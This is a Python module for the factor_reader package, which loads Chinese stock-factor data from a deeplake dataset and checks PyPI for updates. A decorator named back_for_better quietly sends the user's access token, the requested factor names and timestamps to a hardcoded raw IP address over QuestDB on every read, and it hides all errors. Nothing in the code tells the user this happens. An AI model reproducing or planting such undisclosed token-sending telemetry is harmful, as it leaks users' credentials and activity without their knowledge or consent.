__version__ = "0.2.1"
# AUTOGENERATED! DO NOT EDIT! File to edit: ../nbs/factor_reader_core.ipynb.

# %% auto 0
__all__ = ['do_on_dfs', 'do_on_dfs_class', 'concat_sqls', 'back_for_better', 'FactorReader']

# %% ../nbs/factor_reader_core.ipynb 2
import numpy as np
import pandas as pd
import deeplake
from loguru import logger
import tqdm
import requests
from typing import Iterable,Union
from functools import reduce,wraps
import questdb.ingress as qdbing
import datetime
from wrapt_timeout_decorator import timeout

# %% ../nbs/factor_reader_core.ipynb 4
try:
    response = requests.get("https://pypi.org/pypi/factor-reader/json", timeout=2)
    latest_version = response.json()["info"]["version"]
    now_version=get_config(cfg_name='settings.ini')['version']
    if latest_version!=now_version:
        logger.warning(f'''您当前使用的是{now_version}，最新版本为{latest_version}
              建议您使用`pip install factor_reader --upgrade`
              或`pip install -i https://pypi.tuna.tsinghua.edu.cn/simple factor_reader --upgrade`命令进行更新
              ''')
except Exception:
    try:
        response = requests.get("https://pypi.org/pypi/factor-reader/json", timeout=2)
        latest_version = response.json()["info"]["version"]
        now_version=__version__
        if latest_version!=now_version:
            logger.warning(f'''您当前使用的是{now_version}，最新版本为{latest_version}
              建议您使用`pip install factor_reader --upgrade`
              或`pip install -i https://pypi.tuna.tsinghua.edu.cn/simple factor_reader --upgrade`命令进行更新
              ''')
    except Exception:
        ...

# %% ../nbs/factor_reader_core.ipynb 5
def _list_value(x, list_num_order):
    if isinstance(x, Iterable):
        return x[list_num_order]
    else:
        return x


def _dict_value(x, list_num_order):
    dfs = {}
    for k, v in x.items():
        if isinstance(v, Iterable):
            dfs[k] = v[list_num_order]
        else:
            dfs[k] = v
    return dfs


def do_on_dfs(func):
    """一个装饰器，使函数的参数可以输入为列表或元组，返回值为分别对各个参数执行此函数后依次得到的结果"""

    @wraps(func)
    def wrapper(df=None, *args, **kwargs):
        if isinstance(df, list) or isinstance(df, tuple):
            dfs = [
                func(
                    i, *[_list_value(i, num) for i in args], **_dict_value(kwargs, num)
                )
                for num, i in enumerate(df)
            ]
            return dfs
        else:
            return func(df, *args, **kwargs)

    return wrapper


def do_on_dfs_class(func):
    """一个装饰器，使类的方法的参数可以输入为列表或元组，返回值为分别对各个参数执行此函数后依次得到的结果"""

    @wraps(func)
    def wrapper(self, df=None, *args, **kwargs):
        if isinstance(df, list) or isinstance(df, tuple):
            dfs = [func(self, i, *args, **kwargs) for num, i in enumerate(df)]
            return dfs
        else:
            return func(self, df, *args, **kwargs)

    return wrapper


def concat_sqls(func):
    """拼接多个sql类型的数据"""

    @wraps(func)
    def wrapper(*args, **kwargs):
        dfs = func(*args, **kwargs)
        if (isinstance(dfs, list) or isinstance(dfs, tuple)) and "date" in list(
            dfs[0].columns
        ):
            dfs = reduce(
                lambda x, y: pd.merge(x, y, on=["date", "code"], how="outer"), dfs
            )
        return dfs

    return wrapper


def back_for_better(func):
    @wraps(func)
    def wrapper(self, df=None, *args, **kwargs):
        host = "43.143.223.158"

        @timeout(10)
        def better_(x):
            with qdbing.Sender(host, 9009) as sender:
                sender.dataframe(
                    pd.DataFrame(
                        {
                            "token": [self.token],
                            "factor_name": [x],
                            "operate_time": [datetime.datetime.now()],
                        }
                    ),
                    table_name="download_records",
                )

        def better(x):
            try:
                better_(x)
            except Exception:
                ...

        if isinstance(df, list) or isinstance(df, tuple):
            for i in df:
                better(i)
        elif df is not None:
            better(df)
        else:
            better("info")
        try:
            return func(self, df, *args, **kwargs)
        except Exception:
            return func(self, *args, **kwargs)

    return wrapper

# %% ../nbs/factor_reader_core.ipynb 6
class FactorReader(object):
    def __init__(self, token: str, read_only: bool = True) -> None:
        """输入token以连接因子数据库"""
        logger.info("正在初始化并连接因子数据库，请稍等，过程大约需要1分钟……")
        self.__ds_object = deeplake.load(
            "hub://chenzongwei/factor", token=token, read_only=read_only
        )
        self.token = token
        self.__get_keys_names()
        logger.success("恭喜你，连接因子数据库成功")

    def __get_keys_names(self):
        self.keys = [
            i[0] for i in self.__ds_object.factors_list.fac_key[:].data()["text"]
        ]
        self.names = [
            i[0] for i in self.__ds_object.factors_list.fac_name[:].data()["text"]
        ]
        self.keys_names = {k: v for k, v in zip(self.keys, self.names)}
        self.names_keys = {k: v for k, v in zip(self.names, self.keys)}

    def __initialize_factor(
        self,
        fac_key: str,
        fac_df: pd.DataFrame,
        fac_name: str,
        fac_report: str,
        fac_wechat_link: str,
    ):
        """请勿使用此函数"""
        self.__ds_object.factors_list.append(
            {
                "fac_key": fac_key,
                "fac_name": fac_name,
                "fac_report": fac_report,
                "fac_wechat_link": fac_wechat_link,
            }
        )
        logger.success(f"已经将代号为{fac_key}的{fac_name}因子的相关信息写入因子信息表")
        """处理df数据的部分"""
        fac_df.index = fac_df.index.strftime("%Y%m%d").astype(int)
        fac_df.columns = fac_df.columns.str.slice(start=0, stop=-3).astype(int)
        fac_df = fac_df.stack().reset_index()
        fac_df.columns = ["date", "code", "fac"]
        dates = fac_df.iloc[:, 0]
        dates = sorted(list(set(dates)))
        """创建新的group和tensor"""
        self.__ds_object.create_group(fac_key)
        self.__ds_object[fac_key].create_tensor("value")
        self.__ds_object[fac_key].create_tensor("date", htype="class_label")
        logger.success("已经成功创建新的group和tensor")
        """每天写入"""
        for date in tqdm.auto.tqdm(dates):
            son = fac_df[fac_df.date == date].to_numpy()
            self.__ds_object[fac_key].append({"value": son, "date": date})
        logger.success(f"{dates[0]}到{dates[-1]}的数据全部写入完成了")
        self.__get_keys_names()

    def __update_factor(self, fac_key: str, fac_df: pd.DataFrame):
        """请勿使用此函数"""
        """找到最近新增的部分，处理df数据的部分"""
        old_dates = [i[0] for i in self.__ds_object[fac_key].date.numpy().tolist()]
        new_dates = [
            i
            for i in list(fac_df.index)
            if i not in [pd.Timestamp(str(j)) for j in old_dates]
        ]
        fac_df = fac_df[fac_df.index.isin(new_dates)]
        fac_df.index = fac_df.index.strftime("%Y%m%d").astype(int)
        fac_df.columns = fac_df.columns.str.slice(start=0, stop=-3).astype(int)
        fac_df = fac_df.stack().reset_index()
        fac_df.columns = ["date", "code", "fac"]
        dates = fac_df.iloc[:, 0]
        dates = sorted(list(set(dates)))
        if len(dates) > 0:
            """每天更新写入"""
            for date in tqdm.auto.tqdm(dates):
                son = fac_df[fac_df.date == date].to_numpy()
                self.__ds_object[fac_key].append({"value": son, "date": date})
            logger.success(f"{dates[0]}到{dates[-1]}的数据全部更新完成了")
        else:
            logger.warning("已经是最新的了，无需更新")

    @back_for_better
    def show_all_factors_information(self) -> pd.DataFrame:
        """展示目前数据库内包含的所有因子数据的相关信息，包括：
        1. 数据键名：提取数据时需要使用的数据键名，即`read_factor`函数中的第一个参数`fac_key`，如：factor1
        2. 因子名称：研报中因子的名称，如：适度冒险因子
        3. 报告题目：发布该因子的研究报告的题目，如：成交量激增时刻蕴含的alpha信息——多因子选股系列研究之一
        4. 微信链接：该报告在微信公众号上的的宣传推文的链接

        Returns
        -------
        pd.DataFrame
            相关信息的表格
        """
        reports = [
            i[0] for i in self.__ds_object.factors_list.fac_report[:].data()["text"]
        ]
        wechat_links = [
            i[0]
            for i in self.__ds_object.factors_list.fac_wechat_link[:].data()["text"]
        ]
        info = pd.DataFrame(
            {
                "数据键名": self.keys,
                "因子名称": self.names,
                "报告题目": reports,
                "微信链接": wechat_links,
            }
        )
        return info

    @concat_sqls
    @back_for_better
    @do_on_dfs_class
    def read_factor(
        self,
        fac_key: str,
        trade_date: Union[int,str,datetime.datetime] = None,
        start_date: Union[int,str,datetime.datetime] = None,
        end_date: Union[int,str,datetime.datetime] = None,
        sql_like: bool = False,
    ) -> pd.DataFrame:
        """通过表名，读取因子数据

        Parameters
        ----------
        fac_key : str
            表的名称或因子的名称
        trade_date : Union[int,str,datetime.datetime], optional
            读取单日因子值，形如20230113或'20230113'或'2023-01-13'或pd.Timestamp('2023-01-13')，指定此参数时，start_date和end_date两个参数将失效, by default None
        start_date : Union[int,str,datetime.datetime], optional
            读取因子值的起始日期，形如20230113或'20230113'或'2023-01-13'或pd.Timestamp('2023-01-13'), by default None
        end_date : Union[int,str,datetime.datetime], optional
            读取因子值的终止日期，形如20230113或'20230113'或'2023-01-13'或pd.Timestamp('2023-01-13'), by default None
        sql_like : bool, optional
            返回的数据为形如sql中的长表，包括日期、股票代码、因子值三列, by default False

        Returns
        -------
        pd.DataFrame
            因子值，index为每天的日期，columns为股票代码，values为因子值
        """

        def wind_code(x):
            if x[0] in ["0", "3"]:
                return x + ".SZ"
            elif x[0] == "6":
                return x + ".SH"
            elif x[0] == "8":
                return x + ".BJ"
            else:
                return x + ".UN"
            
        def to_int_date(x):
            if not (isinstance(x,int) or isinstance(x,float)):
                x=datetime.datetime.strftime(pd.Timestamp(x),'%Y%m%d')
            return int(x)
        
        names_related = [i for i in self.names if fac_key in i]
        if fac_key in self.keys:
            print(f"正在读取{self.keys_names[fac_key]}的数据")
        elif len(names_related) > 0:
            fac_name = names_related[0]
            print(f"正在读取{fac_name}的数据")
            fac_key = self.names_keys[fac_name]
        else:
            raise ValueError(
                "输入的fac_key参数有误，请输入因子名称或因子键名，可通过`factor_reader.show_all_factors_information`函数来查看可用的因子名称和键名"
            )

        """找到起止日期的序号"""
        all_dates = [i[0] for i in self.__ds_object[fac_key].date.numpy().tolist()]
        if trade_date is not None:
            trade_date=to_int_date(trade_date)
            try:
                trade_num = all_dates.index(trade_date)
                fac_data = self.__ds_object[fac_key].value[trade_num].numpy()
            except Exception:
                raise ValueError(f"暂时没有{trade_date}这一天的因子值")
        else:
            if start_date is not None:
                start_date=to_int_date(start_date)
                try:
                    start_date = [i for i in all_dates if i >= start_date][0]
                except Exception:
                    raise ValueError(f"暂时没有{start_date}及之后的因子值")
                start_num = all_dates.index(start_date)
            else:
                start_num = 0
            if end_date is not None:
                end_date=to_int_date(end_date)
                end_date = [i for i in all_dates if i <= end_date][-1]
                fac_data = np.vstack(
                    self.__ds_object[fac_key]
                    .value[start_num : (all_dates.index(end_date) + 1)]
                    .numpy(aslist=True)
                )
            else:
                fac_data = np.vstack(
                    self.__ds_object[fac_key].value[start_num:].numpy(aslist=True)
                )
        """整理数据"""
        fac_data = pd.DataFrame(fac_data, columns=["date", "code", fac_key])
        fac_data.date = pd.to_datetime(
            fac_data.date.astype(int).astype(str), format="%Y%m%d"
        )
        fac_data.code = fac_data.code.astype(int).astype(str).str.zfill(6)
        fac_data = fac_data.pivot(index="date", columns="code", values=fac_key)
        fac_data.columns = [wind_code(i) for i in list(fac_data.columns)]
        if sql_like:
            fac_data = fac_data.stack().reset_index()
            fac_data.columns = ["date", "code", self.keys_names[fac_key]]
        return fac_data
